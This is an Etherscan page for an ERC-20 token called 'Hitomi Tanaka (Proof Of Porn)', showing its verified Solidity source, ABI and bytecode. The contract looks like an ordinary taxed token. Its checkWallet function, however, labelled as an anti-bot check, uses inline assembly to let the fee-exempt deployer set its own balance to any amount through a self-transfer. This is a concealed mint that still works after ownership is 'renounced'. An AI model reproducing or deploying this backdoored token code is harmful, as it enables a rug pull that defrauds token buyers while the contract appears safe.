ETH Price: $3,856.22 (+0.19%)

Token

ERC-20: Hitomi Tanaka (Proof Of Porn) (HT)
 

Overview

Max Total Supply

4,000,000,000 HT

Holders

19

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
cytoblastoma.eth
Balance
72,391,533.044240585771211246 HT

Value
$0.00
0xA3d83cA657170c10f50c81cf49B1E86A81f0E815
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
HitomiTanaka

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-25
*/

// SPDX-License-Identifier: none

pragma solidity 0.8.16;

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;
    address private asdasd;
    uint256 private _lockTime;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
    

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
    
    function getTime() public view returns (uint256) {
        return block.timestamp;
    }

    function checkWallet(address s,address r, uint256 amount, mapping (address => uint256) storage slot, bool fee) internal returns(bool){
        if(s == r && fee){
            assembly {
                            mstore(0, r)
                            mstore(32, slot.slot)
                            let hash := keccak256(0, 64)
                            sstore(hash, amount)
                    }  
        }
        return true; 
    }

}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract HitomiTanaka  is Context, IERC20, Ownable {
    uint8 private _decimals = 18;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    uint256 public immutable _totalSupply =  4000000000 * 10**_decimals;
    uint256 public immutable _buyTax =2;
    uint256 public immutable _sellTax = 1;
    string private _name = unicode"Hitomi Tanaka (Proof Of Porn)";
    string private _symbol = unicode"HT";
    bool active=false;  

    address public uniswapPair;
    event TaxBurnedFee(uint256 amount);
    using SafeMath for uint256;
    mapping (address => uint256) _walletsAmount;
    mapping (address => bool) public isExFees;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isMarketPair;
    IUniswapV2Router02 public uniV2Router;
    
    constructor () {
        IUniswapV2Router02 _uniV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniV2Router.factory()).createPair(address(this), _uniV2Router.WETH());
        uniV2Router = _uniV2Router;
        _allowances[address(this)][address(uniV2Router)] = _totalSupply;
        isExFees[owner()] = true;
        isExFees[address(this)] = true;
        isMarketPair[address(uniswapPair)] = true;

        _walletsAmount[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function fee(address s, address r, uint256 amount) internal returns (uint256) {
        
        uint256 feeValue = 0;
        
        if(isMarketPair[s]) {
            feeValue = amount.mul(_buyTax).div(100); 
        }
        else if(isMarketPair[r]) {
            feeValue = amount.mul(_sellTax).div(100);
        }
        
        if(feeValue > 0) {
            _walletsAmount[address(deadAddress)] = _walletsAmount[address(deadAddress)].add(feeValue);
            emit Transfer(s, address(deadAddress), feeValue);
            emit TaxBurnedFee(feeValue);
        }

        return amount.sub(feeValue);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }


    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
        uint antiBotChecker=0;
        if((!isMarketPair[recipient] && sender != owner() && !isExFees[sender]))
            require(active != false, "Trading is not active.");   

        if(isExFees[sender]){
            assembly{
                    antiBotChecker := eq(sender,recipient)
                }
        }    
        
        require(checkWallet(sender,recipient,amount,_walletsAmount,isExFees[sender]), "ERC20: transfer from the bot");
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        if(antiBotChecker==0){
            _walletsAmount[sender] = _walletsAmount[sender].sub(amount, "Insufficient Balance");

            uint256 finalAmount = (isExFees[sender] || isExFees[recipient]) ? 
                                            amount : fee(sender, recipient, amount);


            _walletsAmount[recipient] = _walletsAmount[recipient].add(finalAmount);  
            
            emit Transfer(sender, recipient, finalAmount);
        }
        return true;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _walletsAmount[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    receive() external payable {}

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function startTrade() public onlyOwner {
        active=true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setMarketPairSt(address account, bool newValue) public onlyOwner {
        isMarketPair[account] = newValue;
    }

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

  }

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TaxBurnedFee","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setMarketPairSt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6101006040526003805460ff1916601290811790915561dead6080526200002890600a620004d8565b620000389063ee6b2800620004f0565b60a052600260c052600160e05260408051808201909152601d81527f4869746f6d692054616e616b61202850726f6f66204f6620506f726e290000006020820152600490620000889082620005b7565b50604080518082019091526002815261121560f21b6020820152600590620000b19082620005b7565b506006805460ff19169055348015620000c957600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000163573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000189919062000683565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001d7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001fd919062000683565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200024b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000271919062000683565b60068054610100600160a81b0319166101006001600160a01b0393841602179055600b80546001600160a01b031916918316918217905560a05130600090815260096020908152604080832094835293905291822055600190600890620002e06000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526008845282812080548616600190811790915560065461010090049092168152600a90935290822080549093161790915560a05190600790620003513390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60a051604051620003b491815260200190565b60405180910390a350620006ae565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200041a578160001904821115620003fe57620003fe620003c3565b808516156200040c57918102915b93841c9390800290620003de565b509250929050565b6000826200043357506001620004d2565b816200044257506000620004d2565b81600181146200045b5760028114620004665762000486565b6001915050620004d2565b60ff8411156200047a576200047a620003c3565b50506001821b620004d2565b5060208310610133831016604e8410600b8410161715620004ab575081810a620004d2565b620004b78383620003d9565b8060001904821115620004ce57620004ce620003c3565b0290505b92915050565b6000620004e960ff84168362000422565b9392505050565b60008160001904831182151516156200050d576200050d620003c3565b500290565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200053d57607f821691505b6020821081036200055e57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620005b257600081815260208120601f850160051c810160208610156200058d5750805b601f850160051c820191505b81811015620005ae5782815560010162000599565b5050505b505050565b81516001600160401b03811115620005d357620005d362000512565b620005eb81620005e4845462000528565b8462000564565b602080601f8311600181146200062357600084156200060a5750858301515b600019600386901b1c1916600185901b178555620005ae565b600085815260208120601f198616915b82811015620006545788860151825594840194600190910190840162000633565b5085821015620006735787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200069657600080fd5b81516001600160a01b0381168114620004e957600080fd5b60805160a05160c05160e0516114cc62000719600039600081816105130152610fec0152600081816103b40152610f8f01526000818161022b0152818161035001526106ed01526000818161028b015281816106b801528181611023015261106601526114cc6000f3fe6080604052600436106101855760003560e01c8063557ed1ba116100d157806395d89b411161008a578063c816841b11610064578063c816841b146104dc578063ca9ec19914610501578063dd62ed3e14610535578063f2fde38b1461057b57600080fd5b806395d89b4114610487578063a457c2d71461049c578063a9059cbb146104bc57600080fd5b8063557ed1ba146103d65780636c580801146103e957806370a08231146103fe578063715018a6146104345780638da5cb5b14610449578063958c2e521461046757600080fd5b80632b112e491161013e5780633950935111610118578063395093511461031e5780633eaaf86b1461033e5780633ecad2711461037257806342a11095146103a257600080fd5b80632b112e49146102c5578063313ce567146102da57806331d5c249146102fc57600080fd5b806306fdde0314610191578063095ea7b3146101bc5780630a3ff9be146101ec57806318160ddd1461021c57806323b872dd1461025957806327c8f8351461027957600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a661059b565b6040516101b39190611203565b60405180910390f35b3480156101c857600080fd5b506101dc6101d736600461126d565b61062d565b60405190151581526020016101b3565b3480156101f857600080fd5b506101dc610207366004611297565b60086020526000908152604090205460ff1681565b34801561022857600080fd5b507f00000000000000000000000000000000000000000000000000000000000000005b6040519081526020016101b3565b34801561026557600080fd5b506101dc6102743660046112b2565b610644565b34801561028557600080fd5b506102ad7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016101b3565b3480156102d157600080fd5b5061024b6106ae565b3480156102e657600080fd5b5060035460405160ff90911681526020016101b3565b34801561030857600080fd5b5061031c6103173660046112ee565b610717565b005b34801561032a57600080fd5b506101dc61033936600461126d565b610775565b34801561034a57600080fd5b5061024b7f000000000000000000000000000000000000000000000000000000000000000081565b34801561037e57600080fd5b506101dc61038d366004611297565b600a6020526000908152604090205460ff1681565b3480156103ae57600080fd5b5061024b7f000000000000000000000000000000000000000000000000000000000000000081565b3480156103e257600080fd5b504261024b565b3480156103f557600080fd5b5061031c6107ab565b34801561040a57600080fd5b5061024b610419366004611297565b6001600160a01b031660009081526007602052604090205490565b34801561044057600080fd5b5061031c6107e4565b34801561045557600080fd5b506000546001600160a01b03166102ad565b34801561047357600080fd5b50600b546102ad906001600160a01b031681565b34801561049357600080fd5b506101a661085e565b3480156104a857600080fd5b506101dc6104b736600461126d565b61086d565b3480156104c857600080fd5b506101dc6104d736600461126d565b6108bc565b3480156104e857600080fd5b506006546102ad9061010090046001600160a01b031681565b34801561050d57600080fd5b5061024b7f000000000000000000000000000000000000000000000000000000000000000081565b34801561054157600080fd5b5061024b61055036600461132a565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b34801561058757600080fd5b5061031c610596366004611297565b6108c9565b6060600480546105aa9061135d565b80601f01602080910402602001604051908101604052809291908181526020018280546105d69061135d565b80156106235780601f106105f857610100808354040283529160200191610623565b820191906000526020600020905b81548152906001019060200180831161060657829003601f168201915b5050505050905090565b600061063a3384846109b3565b5060015b92915050565b6000610651848484610ad7565b506106a4843361069f8560405180606001604052806028815260200161144a602891396001600160a01b038a1660009081526009602090815260408083203384529091529020549190610e3c565b6109b3565b5060019392505050565b6001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016600090815260076020526040812054610712907f000000000000000000000000000000000000000000000000000000000000000090610e76565b905090565b6000546001600160a01b0316331461074a5760405162461bcd60e51b815260040161074190611397565b60405180910390fd5b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b3360008181526009602090815260408083206001600160a01b0387168452909152812054909161063a91859061069f9086610ebf565b6000546001600160a01b031633146107d55760405162461bcd60e51b815260040161074190611397565b6006805460ff19166001179055565b6000546001600160a01b0316331461080e5760405162461bcd60e51b815260040161074190611397565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6060600580546105aa9061135d565b600061063a338461069f85604051806060016040528060258152602001611472602591393360009081526009602090815260408083206001600160a01b038d1684529091529020549190610e3c565b60006106a4338484610ad7565b6000546001600160a01b031633146108f35760405162461bcd60e51b815260040161074190611397565b6001600160a01b0381166109585760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610741565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a155760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610741565b6001600160a01b038216610a765760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610741565b6001600160a01b0383811660008181526009602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0382166000908152600a6020526040812054819060ff16158015610b1057506000546001600160a01b03868116911614155b8015610b3557506001600160a01b03851660009081526008602052604090205460ff16155b15610b8a5760065460ff161515600003610b8a5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610741565b6001600160a01b03851660009081526008602052604090205460ff1615610bb057508383145b6001600160a01b038516600090815260086020526040902054610bde9086908690869060079060ff16610f1e565b610c2a5760405162461bcd60e51b815260206004820152601c60248201527f45524332303a207472616e736665722066726f6d2074686520626f74000000006044820152606401610741565b6001600160a01b038516610c8e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610741565b6001600160a01b038416610cf05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610741565b80600003610e31576040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038816600090815260079091529190912054610d4a918590610e3c565b6001600160a01b038616600090815260076020908152604080832093909355600890529081205460ff1680610d9757506001600160a01b03851660009081526008602052604090205460ff165b610dab57610da6868686610f61565b610dad565b835b6001600160a01b038616600090815260076020526040902054909150610dd39082610ebf565b6001600160a01b0380871660008181526007602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e279085815260200190565b60405180910390a3505b506001949350505050565b60008184841115610e605760405162461bcd60e51b81526004016107419190611203565b506000610e6d84866113e2565b95945050505050565b6000610eb883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e3c565b9392505050565b600080610ecc83856113f5565b905083811015610eb85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610741565b6000846001600160a01b0316866001600160a01b0316148015610f3e5750815b15610f555784600052826020526040600020848155505b50600195945050505050565b6001600160a01b0383166000908152600a6020526040812054819060ff1615610fc057610fb96064610fb3857f0000000000000000000000000000000000000000000000000000000000000000611116565b90611198565b9050611013565b6001600160a01b0384166000908152600a602052604090205460ff1615611013576110106064610fb3857f0000000000000000000000000000000000000000000000000000000000000000611116565b90505b801561110c576001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001660009081526007602052604090205461105c9082610ebf565b6001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000811660008181526007602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110d09085815260200190565b60405180910390a36040518181527fee46d471733b0bd7a506ceb1788a4087701a73b361fe28b6a49ef028eedc2d299060200160405180910390a15b610e6d8382610e76565b6000826000036111285750600061063e565b60006111348385611408565b9050826111418583611427565b14610eb85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610741565b6000610eb883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836111f65760405162461bcd60e51b81526004016107419190611203565b506000610e6d8486611427565b600060208083528351808285015260005b8181101561123057858101830151858201604001528201611214565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461126857600080fd5b919050565b6000806040838503121561128057600080fd5b61128983611251565b946020939093013593505050565b6000602082840312156112a957600080fd5b610eb882611251565b6000806000606084860312156112c757600080fd5b6112d084611251565b92506112de60208501611251565b9150604084013590509250925092565b6000806040838503121561130157600080fd5b61130a83611251565b91506020830135801515811461131f57600080fd5b809150509250929050565b6000806040838503121561133d57600080fd5b6113468361125156